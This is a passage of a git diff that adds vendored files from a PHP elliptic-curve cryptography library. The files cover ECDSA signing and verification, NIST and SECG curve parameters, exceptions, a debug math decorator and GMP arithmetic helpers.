$math->getModularArithmetic($generator->getOrder()); + + $k = $math->mod($randomK, $generator->getOrder()); + $p1 = $generator->mul($k); + $r = $p1->getX(); + $zero = gmp_init(0, 10); + if ($math->equals($r, $zero)) { + throw new \RuntimeException("Error: random number R = 0"); + } + + $s = $modMath->div($modMath->add($truncatedHash, $math->mul($key->getSecret(), $r)), $k); + if ($math->equals($s, $zero)) { + throw new \RuntimeException("Error: random number S = 0"); + } + + return new Signature($r, $s); + } + + /** + * @param PublicKeyInterface $key + * @param SignatureInterface $signature + * @param \GMP $hash + * @return bool + */ + public function verify(PublicKeyInterface $key, SignatureInterface $signature, \GMP $hash): bool + { + $generator = $key->getGenerator(); + $n = $generator->getOrder(); + $r = $signature->getR(); + $s = $signature->getS(); + + $math = $this->adapter; + $one = gmp_init(1, 10); + if ($math->cmp($r, $one) < 0 || $math->cmp($r, $math->sub($n, $one)) > 0) { + return false; + } + + if ($math->cmp($s, $one) < 0 || $math->cmp($s, $math->sub($n, $one)) > 0) { + return false; + } + + $modMath = $math->getModularArithmetic($n); + $c = $math->inverseMod($s, $n); + $u1 = $modMath->mul($hash, $c); + $u2 = $modMath->mul($r, $c); + $xy = $generator->mul($u1)->add($key->getPoint()->mul($u2)); + $v = $math->mod($xy->getX(), $n); + + return BinaryString::constantTimeCompare($math->toString($v), $math->toString($r)); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Curves/CurveFactory.php b/includes/vendor/mdanter/ecc/src/Curves/CurveFactory.php new file mode 100644 index 0000000..6bfe81d --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Curves/CurveFactory.php @@ -0,0 +1,107 @@ +curve192(); + case NistCurve::NAME_P224: + return $nistFactory->curve224(); + case NistCurve::NAME_P256: + return $nistFactory->curve256(); + case NistCurve::NAME_P384: + return $nistFactory->curve384(); + case NistCurve::NAME_P521: + return $nistFactory->curve521(); + case SecgCurve::NAME_SECP_112R1: + return $secpFactory->curve112r1(); + case SecgCurve::NAME_SECP_192K1: + return $secpFactory->curve192k1(); + case SecgCurve::NAME_SECP_256K1: + return $secpFactory->curve256k1(); + case SecgCurve::NAME_SECP_256R1: + return $secpFactory->curve256r1(); + case SecgCurve::NAME_SECP_384R1: + return $secpFactory->curve384r1(); + default: + $error = new UnsupportedCurveException('Unknown curve.'); + $error->setCurveName($name); + throw $error; + } + } + + /** + * @param string $name + * @return GeneratorPoint + */ + public static function getGeneratorByName(string $name): GeneratorPoint + { + $adapter = MathAdapterFactory::getAdapter(); + $nistFactory = self::getNistFactory($adapter); + $secpFactory = self::getSecpFactory($adapter); + + switch ($name) { + case NistCurve::NAME_P192: + return $nistFactory->generator192(); + case NistCurve::NAME_P224: + return $nistFactory->generator224(); + case NistCurve::NAME_P256: + return $nistFactory->generator256(); + case NistCurve::NAME_P384: + return $nistFactory->generator384(); + case NistCurve::NAME_P521: + return $nistFactory->generator521(); + case SecgCurve::NAME_SECP_112R1: + return $secpFactory->generator112r1(); + case SecgCurve::NAME_SECP_192K1: + return $secpFactory->generator192k1(); + case SecgCurve::NAME_SECP_256K1: + return $secpFactory->generator256k1(); + case SecgCurve::NAME_SECP_256R1: + return $secpFactory->generator256r1(); + case SecgCurve::NAME_SECP_384R1: + return $secpFactory->generator384r1(); + default: + $error = new UnsupportedCurveException('Unknown generator.'); + $error->setCurveName($name); + throw $error; + } + } + + /** + * @param GmpMathInterface $math + * @return NistCurve + */ + private static function getNistFactory(GmpMathInterface $math): NistCurve + { + return new NistCurve($math); + } + + /** + * @param GmpMathInterface $math + * @return SecgCurve + */ + private static function getSecpFactory(GmpMathInterface $math): SecgCurve + { + return new SecgCurve($math); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Curves/NamedCurveFp.php b/includes/vendor/mdanter/ecc/src/Curves/NamedCurveFp.php new file mode 100644 index 0000000..036808c --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Curves/NamedCurveFp.php @@ -0,0 +1,36 @@ +name = $name; + + parent::__construct($parameters, $adapter); + } + + /** + * @return string + */ + public function getName(): string + { + return $this->name; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Curves/NistCurve.php b/includes/vendor/mdanter/ecc/src/Curves/NistCurve.php new file mode 100644 index 0000000..60a3209 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Curves/NistCurve.php @@ -0,0 +1,221 @@ +adapter = $adapter; + } + + /** + * Returns an NIST P-192 curve. + * + * @return NamedCurveFp + */ + public function curve192(): NamedCurveFp + { + $p = gmp_init('6277101735386680763835789423207666416083908700390324961279', 10); + $b = gmp_init('64210519e59c80e70fa7e9ab72243049feb8deecc146b9b1', 16); + + $parameters = new CurveParameters(192, $p, gmp_init('-3', 10), $b); + + return new NamedCurveFp(self::NAME_P192, $parameters, $this->adapter); + } + + /** + * Returns an NIST P-192 generator. + * + * @param RandomNumberGeneratorInterface $randomGenerator + * @return GeneratorPoint + */ + public function generator192(RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + $curve = $this->curve192(); + $order = gmp_init('6277101735386680763835789423176059013767194773182842284081', 10); + + $x = gmp_init('188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012', 16); + $y = gmp_init('07192b95ffc8da78631011ed6b24cdd573f977a11e794811', 16); + + return $curve->getGenerator($x, $y, $order, $randomGenerator); + } + + /** + * Returns an NIST P-224 curve + * + * @return NamedCurveFp + */ + public function curve224(): NamedCurveFp + { + $p = gmp_init('26959946667150639794667015087019630673557916260026308143510066298881', 10); + $b = gmp_init('b4050a850c04b3abf54132565044b0b7d7bfd8ba270b39432355ffb4', 16); + + $parameters = new CurveParameters(224, $p, gmp_init(-3, 10), $b); + + return new NamedCurveFp(self::NAME_P224, $parameters, $this->adapter); + } + + /** + * Returns an NIST P-224 generator. + * + * @param RandomNumberGeneratorInterface $randomGenerator + * @return GeneratorPoint + */ + public function generator224(RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + $curve = $this->curve224(); + $order = gmp_init('26959946667150639794667015087019625940457807714424391721682722368061', 10); + + $x = gmp_init('b70e0cbd6bb4bf7f321390b94a03c1d356c21122343280d6115c1d21', 16); + $y = gmp_init('bd376388b5f723fb4c22dfe6cd4375a05a07476444d5819985007e34', 16); + + return $curve->getGenerator($x, $y, $order, $randomGenerator); + } + + /** + * Returns an NIST P-256 curve. + * + * @return NamedCurveFp + */ + public function curve256(): NamedCurveFp + { + $p = gmp_init('115792089210356248762697446949407573530086143415290314195533631308867097853951', 10); + $b = gmp_init('0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b', 16); + + $parameters = new CurveParameters(256, $p, gmp_init(-3, 10), $b); + + return new NamedCurveFp(self::NAME_P256, $parameters, $this->adapter); + } + + /** + * Returns an NIST P-256 generator. + * + * @param RandomNumberGeneratorInterface $randomGenerator + * @return GeneratorPoint + */ + public function generator256(RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + $curve = $this->curve256(); + $order = gmp_init('115792089210356248762697446949407573529996955224135760342422259061068512044369', 10); + + $x = gmp_init('0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296', 16); + $y = gmp_init('0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5', 16); + + return $curve->getGenerator($x, $y, $order, $randomGenerator); + } + + /** + * Returns an NIST P-384 curve. + * + * @return NamedCurveFp + */ + public function curve384(): NamedCurveFp + { + $p = gmp_init('39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319', 10); + $b = gmp_init('0xb3312fa7e23ee7e4988e056be3f82d19181d9c6efe8141120314088f5013875ac656398d8a2ed19d2a85c8edd3ec2aef', 16); + + $parameters = new CurveParameters(384, $p, gmp_init(-3, 10), $b); + + return new NamedCurveFp(self::NAME_P384, $parameters, $this->adapter); + } + + /** + * Returns an NIST P-384 generator. + * + * @param RandomNumberGeneratorInterface $randomGenerator + * @return GeneratorPoint + */ + public function generator384(RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + $curve = $this->curve384(); + $order = gmp_init('39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643', 10); + + $x = gmp_init('0xaa87ca22be8b05378eb1c71ef320ad746e1d3b628ba79b9859f741e082542a385502f25dbf55296c3a545e3872760ab7', 16); + $y = gmp_init('0x3617de4a96262c6f5d9e98bf9292dc29f8f41dbd289a147ce9da3113b5f0b8c00a60b1ce1d7e819d7a431d7c90ea0e5f', 16); + + return $curve->getGenerator($x, $y, $order, $randomGenerator); + } + + /** + * Returns an NIST P-521 curve. + * + * @return NamedCurveFp + */ + public function curve521(): NamedCurveFp + { + $p = gmp_init('6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151', 10); + $b = gmp_init('0x051953eb9618e1c9a1f929a21a0b68540eea2da725b99b315f3b8b489918ef109e156193951ec7e937b1652c0bd3bb1bf073573df883d2c34f1ef451fd46b503f00', 16); + + $parameters = new CurveParameters(521, $p, gmp_init(-3, 10), $b); + + return new NamedCurveFp(self::NAME_P521, $parameters, $this->adapter); + } + + /** + * Returns an NIST P-521 generator. + * + * @param RandomNumberGeneratorInterface $randomGenerator + * @return GeneratorPoint + */ + public function generator521(RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + $curve = $this->curve521(); + $order = gmp_init('6864797660130609714981900799081393217269435300143305409394463459185543183397655394245057746333217197532963996371363321113864768612440380340372808892707005449', 10); + + $x = gmp_init('0xc6858e06b70404e9cd9e3ecb662395b4429c648139053fb521f828af606b4d3dbaa14b5e77efe75928fe1dc127a2ffa8de3348b3c1856a429bf97e7e31c2e5bd66', 16); + $y = gmp_init('0x11839296a789a3bc0045c8a5fb42c7d1bd998f54449579b446817afbd17273e662c97ee72995ef42640c550b9013fad0761353c7086a272c24088be94769fd16650', 16); + + return $curve->getGenerator($x, $y, $order, $randomGenerator); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Curves/SecgCurve.php b/includes/vendor/mdanter/ecc/src/Curves/SecgCurve.php new file mode 100644 index 0000000..d5b456b --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Curves/SecgCurve.php @@ -0,0 +1,203 @@ +adapter = $adapter; + } + + /** + * @return NamedCurveFp + */ + public function curve112r1(): NamedCurveFp + { + $p = gmp_init('0xDB7C2ABF62E35E668076BEAD208B', 16); + $a = gmp_init('0xDB7C2ABF62E35E668076BEAD2088', 16); + $b = gmp_init('0x659EF8BA043916EEDE8911702B22', 16); + + $parameters = new CurveParameters(112, $p, $a, $b); + + return new NamedCurveFp(self::NAME_SECP_112R1, $parameters, $this->adapter); + } + + /** + * @param RandomNumberGeneratorInterface $randomGenerator + * @return GeneratorPoint + */ + public function generator112r1(RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + $curve = $this->curve112r1(); + + $order = gmp_init('0xDB7C2ABF62E35E7628DFAC6561C5', 16); + $x = gmp_init('0x09487239995A5EE76B55F9C2F098', 16); + $y = gmp_init('0xA89CE5AF8724C0A23E0E0FF77500', 16); + + return $curve->getGenerator($x, $y, $order, $randomGenerator); + } + + /** + * @return NamedCurveFp + */ + public function curve192k1(): NamedCurveFp + { + $p = gmp_init('0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFEE37', 16); + $a = gmp_init(0, 10); + $b = gmp_init(3, 10); + + $parameters = new CurveParameters(192, $p, $a, $b); + + return new NamedCurveFp(self::NAME_SECP_192K1, $parameters, $this->adapter); + } + + /** + * @param RandomNumberGeneratorInterface $randomGenerator + * @return \Mdanter\Ecc\Primitives\GeneratorPoint + */ + public function generator192k1(RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + $curve = $this->curve192k1(); + + $order = gmp_init('0xFFFFFFFFFFFFFFFFFFFFFFFE26F2FC170F69466A74DEFD8D', 16); + $x = gmp_init('0xDB4FF10EC057E9AE26B07D0280B7F4341DA5D1B1EAE06C7D', 16); + $y = gmp_init('0x9B2F2F6D9C5628A7844163D015BE86344082AA88D95E2F9D', 16); + + return $curve->getGenerator($x, $y, $order, $randomGenerator); + } + + /** + * @return NamedCurveFp + */ + public function curve256k1(): NamedCurveFp + { + $p = gmp_init('0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F', 16); + $a = gmp_init(0, 10); + $b = gmp_init(7, 10); + + $parameters = new CurveParameters(256, $p, $a, $b); + + return new NamedCurveFp(self::NAME_SECP_256K1, $parameters, $this->adapter); + } + + /** + * @param RandomNumberGeneratorInterface $randomGenerator + * @return GeneratorPoint + */ + public function generator256k1(RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + $curve = $this->curve256k1(); + + $order = gmp_init('0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141', 16); + $x = gmp_init('0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798', 16); + $y = gmp_init('0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8', 16); + + return $curve->getGenerator($x, $y, $order, $randomGenerator); + } + + /** + * @return NamedCurveFp + */ + public function curve256r1(): NamedCurveFp + { + $p = gmp_init('0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF', 16); + $a = gmp_init('0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC', 16); + $b = gmp_init('0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B', 16); + + $parameters = new CurveParameters(256, $p, $a, $b); + + return new NamedCurveFp(self::NAME_SECP_256R1, $parameters, $this->adapter); + } + + /** + * @param RandomNumberGeneratorInterface $randomGenerator + * @return GeneratorPoint + */ + public function generator256r1(RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + $curve = $this->curve256r1(); + + $order = gmp_init('0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551', 16); + $x = gmp_init('0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296', 16); + $y = gmp_init('0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5', 16); + + return $curve->getGenerator($x, $y, $order, $randomGenerator); + } + + /** + * @return NamedCurveFp + */ + public function curve384r1(): NamedCurveFp + { + $p = gmp_init('0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFF', 16); + $a = gmp_init('0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFC', 16); + $b = gmp_init('0xB3312FA7E23EE7E4988E056BE3F82D19181D9C6EFE8141120314088F5013875AC656398D8A2ED19D2A85C8EDD3EC2AEF', 16); + + $parameters = new CurveParameters(384, $p, $a, $b); + + return new NamedCurveFp(self::NAME_SECP_384R1, $parameters, $this->adapter); + } + + /** + * @param RandomNumberGeneratorInterface $randomGenerator + * @return GeneratorPoint + */ + public function generator384r1(RandomNumberGeneratorInterface $randomGenerator = null): GeneratorPoint + { + $curve = $this->curve384r1(); + + $order = gmp_init('0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973', 16); + $x = gmp_init('0xAA87CA22BE8B05378EB1C71EF320AD746E1D3B628BA79B9859F741E082542A385502F25DBF55296C3A545E3872760AB7', 16); + $y = gmp_init('0x3617DE4A96262C6F5D9E98BF9292DC29F8F41DBD289A147CE9DA3113B5F0B8C00A60B1CE1D7E819D7A431D7C90EA0E5F', 16); + + return $curve->getGenerator($x, $y, $order, $randomGenerator); + } +} diff --git a/includes/vendor/mdanter/ecc/src/EccFactory.php b/includes/vendor/mdanter/ecc/src/EccFactory.php new file mode 100644 index 0000000..7a7b31b --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/EccFactory.php @@ -0,0 +1,78 @@ +G = $G; + $this->point = $point; + parent::__construct($message, $code, $previous); + } + + public function getGenerator(): GeneratorPoint + { + return $this->G; + } + + public function getPoint(): PointInterface + { + return $this->point; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Exception/SignatureDecodeException.php b/includes/vendor/mdanter/ecc/src/Exception/SignatureDecodeException.php new file mode 100644 index 0000000..949c252 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Exception/SignatureDecodeException.php @@ -0,0 +1,10 @@ +curveName = $curveName; + return $this; + } + + public function setOid(string $oid) + { + $this->oid = $oid; + return $this; + } + + public function hasCurveName(): bool + { + return is_string($this->curveName); + } + + public function hasOid(): bool + { + return is_string($this->oid); + } + + public function getCurveName(): string + { + return $this->curveName; + } + + public function getOid(): string + { + return $this->oid; + } +} diff --git a/includes/vendor/mdanter/ecc/src/Math/DebugDecorator.php b/includes/vendor/mdanter/ecc/src/Math/DebugDecorator.php new file mode 100644 index 0000000..b550ad4 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Math/DebugDecorator.php @@ -0,0 +1,620 @@ +adapter = $adapter; + $this->writer = $callback ?: function ($message) { + echo $message; + }; + } + + /** + * + * @param string $message + */ + private function write($message) + { + call_user_func($this->writer, $message); + } + + /** + * + * @param string $func + * @param array $args + * @return mixed + */ + private function call($func, $args) + { + $strArgs = array_map( + function ($arg) { + if ($arg instanceof \GMP) { + return var_export($this->adapter->toString($arg), true); + } else { + return var_export($arg, true); + } + }, + $args + ); + + if (strpos($func, '::')) { + list(, $func) = explode('::', $func); + } + + $this->write($func.'('.implode(', ', $strArgs).')'); + + $res = call_user_func_array([ $this->adapter, $func ], $args); + + if ($res instanceof \GMP) { + $this->write(' => ' . var_export($this->adapter->toString($res), true) . PHP_EOL); + } else { + $this->write(' => ' . var_export($res, true) . PHP_EOL); + } + + return $res; + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::cmp() + */ + public function cmp(\GMP $first, \GMP $other): int + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::cmp() + */ + public function equals(\GMP $first, \GMP $other): bool + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::mod() + */ + public function mod(\GMP $number, \GMP $modulus): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::add() + */ + public function add(\GMP $augend, \GMP $addend): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::sub() + */ + public function sub(\GMP $minuend, \GMP $subtrahend): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::mul() + */ + public function mul(\GMP $multiplier, \GMP $multiplicand): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::div() + */ + public function div(\GMP $dividend, \GMP $divisor): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::pow() + */ + public function pow(\GMP $base, int $exponent): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::bitwiseAnd() + */ + public function bitwiseAnd(\GMP $first, \GMP $other): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\MathAdapter::toString() + */ + public function toString(\GMP $value): string + { + return $this->adapter->toString($value); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::hexDec() + */ + public function hexDec(string $hexString): string + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::decHex() + */ + public function decHex(string $decString): string + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::powmod() + */ + public function powmod(\GMP $base, \GMP $exponent, \GMP $modulus): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::isPrime() + */ + public function isPrime(\GMP $n): bool + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::nextPrime() + */ + public function nextPrime(\GMP $currentPrime): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::inverseMod() + */ + public function inverseMod(\GMP $a, \GMP $m): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::jacobi() + */ + public function jacobi(\GMP $a, \GMP $p): int + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::intToString() + */ + public function intToFixedSizeString(\GMP $x, int $byteSize): string + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::intToString() + */ + public function intToString(\GMP $x): string + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::stringToInt() + */ + public function stringToInt(string $s): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::digestInteger() + */ + public function digestInteger(\GMP $m): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::gcd2() + */ + public function gcd2(\GMP $a, \GMP $m): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::rightShift() + */ + public function rightShift(\GMP $number, int $positions): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::leftShift() + */ + public function leftShift(\GMP $number, int $positions): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call', + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::bitwiseXor() + */ + public function bitwiseXor(\GMP $first, \GMP $other): \GMP + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call' + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::baseConvert() + */ + public function baseConvert(string $value, int $fromBase, int $toBase): string + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call' + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::getEcMath() + */ + public function getEcMath(GeneratorPoint $generatorPoint, $input) + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call' + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::getModularArithmetic() + */ + public function getModularArithmetic(\GMP $modulus): ModularArithmetic + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call' + ), + $func, + $args + ); + } + + /** + * {@inheritDoc} + * @see \Mdanter\Ecc\Math\GmpMathInterface::getNumberTheory() + */ + public function getNumberTheory(): NumberTheory + { + $func = __METHOD__; + $args = func_get_args(); + + return call_user_func( + array( + $this, + 'call' + ), + $func, + $args + ); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Math/GmpMath.php b/includes/vendor/mdanter/ecc/src/Math/GmpMath.php new file mode 100644 index 0000000..250f7f0 --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Math/GmpMath.php @@ -0,0 +1,333 @@ +cmp($exponent, gmp_init(0, 10)) < 0) { + throw new \InvalidArgumentException("Negative exponents (" . $this->toString($exponent) . ") not allowed."); + } + + return gmp_powm($base, $exponent, $modulus); + } + + /** + * {@inheritDoc} + * @see GmpMathInterface::isPrime() + */ + public function isPrime(\GMP $n): bool + { + $prob = gmp_prob_prime($n); + + if ($prob > 0) { + return true; + } + + return false; + } + + /** + * {@inheritDoc} + * @see GmpMathInterface::nextPrime() + */ + public function nextPrime(\GMP $starting_value): \GMP + { + return gmp_nextprime($starting_value); + } + + /** + * {@inheritDoc} + * @see GmpMathInterface::inverseMod() + */ + public function inverseMod(\GMP $a, \GMP $m): \GMP + { + return gmp_invert($a, $m); + } + + /** + * {@inheritDoc} + * @see GmpMathInterface::jacobi() + */ + public function jacobi(\GMP $a, \GMP $n): int + { + return gmp_jacobi($a, $n); + } + + /** + * @param \GMP $x + * @param int $byteSize + * @return string + */ + public function intToFixedSizeString(\GMP $x, int $byteSize): string + { + if ($byteSize < 0) { + throw new \RuntimeException("Byte size cannot be negative"); + } + + if (gmp_cmp($x, 0) < 0) { + throw new \RuntimeException("x was negative - not yet supported"); + } + + $two = gmp_init(2); + $range = gmp_pow($two, $byteSize * 8); + if (NumberSize::bnNumBits($this, $x) >= NumberSize::bnNumBits($this, $range)) { + throw new \RuntimeException("Number overflows byte size"); + } + + $maskShift = gmp_pow($two, 8); + $mask = gmp_mul(gmp_init(255), $range); + + $binary = ''; + for ($i = $byteSize - 1; $i >= 0; $i--) { + $mask = gmp_div($mask, $maskShift); + $binary .= pack('C', gmp_strval(gmp_div(gmp_and($x, $mask), gmp_pow($two, $i * 8)), 10)); + } + + return $binary; + } + + /** + * {@inheritDoc} + * @see GmpMathInterface::intToString() + */ + public function intToString(\GMP $x): string + { + if (gmp_cmp($x, 0) < 0) { + throw new \InvalidArgumentException('Unable to convert negative integer to string'); + } + + $hex = gmp_strval($x, 16); + + if (BinaryString::length($hex) % 2 != 0) { + $hex = '0'.$hex; + } + + return pack('H*', $hex); + } + + /** + * {@inheritDoc} + * @see GmpMathInterface::stringToInt() + */ + public function stringToInt(string $s): \GMP + { + $result = gmp_init(0, 10); + $sLen = BinaryString::length($s); + + for ($c = 0; $c < $sLen; $c ++) { + $result = gmp_add(gmp_mul(256, $result), gmp_init(ord($s[$c]), 10)); + } + + return $result; + } + + /** + * {@inheritDoc} + * @see GmpMathInterface::digestInteger() + */ + public function digestInteger(\GMP $m): \GMP + { + return $this->stringToInt(hash('sha1', $this->intToString($m), true)); + } + + /** + * {@inheritDoc} + * @see GmpMathInterface::gcd2() + */ + public function gcd2(\GMP $a, \GMP $b): \GMP + { + while ($this->cmp($a, gmp_init(0)) > 0) { + $temp = $a; + $a = $this->mod($b, $a); + $b = $temp; + } + + return $b; + } + + /** + * {@inheritDoc} + * @see GmpMathInterface::baseConvert() + */ + public function baseConvert(string $number, int $from, int $to): string + { + return gmp_strval(gmp_init($number, $from), $to); + } + + /** + * {@inheritDoc} + * @see GmpMathInterface::getNumberTheory() + */ + public function getNumberTheory(): NumberTheory + { + return new NumberTheory($this); + } + + /** + * @param \GMP $modulus + * @return ModularArithmetic + */ + public function getModularArithmetic(\GMP $modulus): ModularArithmetic + { + return new ModularArithmetic($this, $modulus); + } +} diff --git a/includes/vendor/mdanter/ecc/src/Math/GmpMathInterface.php b/includes/vendor/mdanter/ecc/src/Math/GmpMathInterface.php new file mode 100644 index 0000000..0b64bbd --- /dev/null +++ b/includes/vendor/mdanter/ecc/src/Math/GmpMathInterface.php @@ -0,0 +1,227 @@ +adapter = $adapter; + $this->modulus = $modulus; + } + + 